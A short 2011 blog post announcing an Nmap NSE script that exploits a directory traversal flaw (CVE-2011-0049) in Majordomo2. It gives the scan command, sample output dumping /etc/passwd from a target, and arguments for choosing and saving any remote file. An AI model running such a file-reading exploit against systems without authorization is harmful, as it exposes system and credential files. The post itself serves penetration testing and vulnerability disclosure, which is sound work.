A few months ago I submitted an article to Pentest Magazine called "Gathering web server information with Nmap NSE".

by Paulino Calderon on Tue, Jun 28 2011 18:42:00

This is my nmap script http-majordomo2-dir-traversal, it exploits a directory traversal vulnerability in Majordomo2 (CVE-2011-0049). Update your Nmap repository to try it  Smile


nmap -p80 --script http-majordomo2-dir-traversal <host/ip>



  80/tcp open  http    syn-ack
| http-majordomo2-dir-traversal: /etc/passwd was found:
| root:x:0:0:root:/root:/bin/bash
| bin:x:1:1:bin:/bin:/sbin/nologin


  • http-majordomo2-dir-traversal.rfile - Remote file to download. Default: /etc/passwd
  • http-majordomo2-dir-traversal.uri - URI Path to mj_wwwusr. Default: /cgi-bin/mj_wwwusr
  • http-majordomo2-dir-traversal.outfile - If set it saves the remote file to this location.
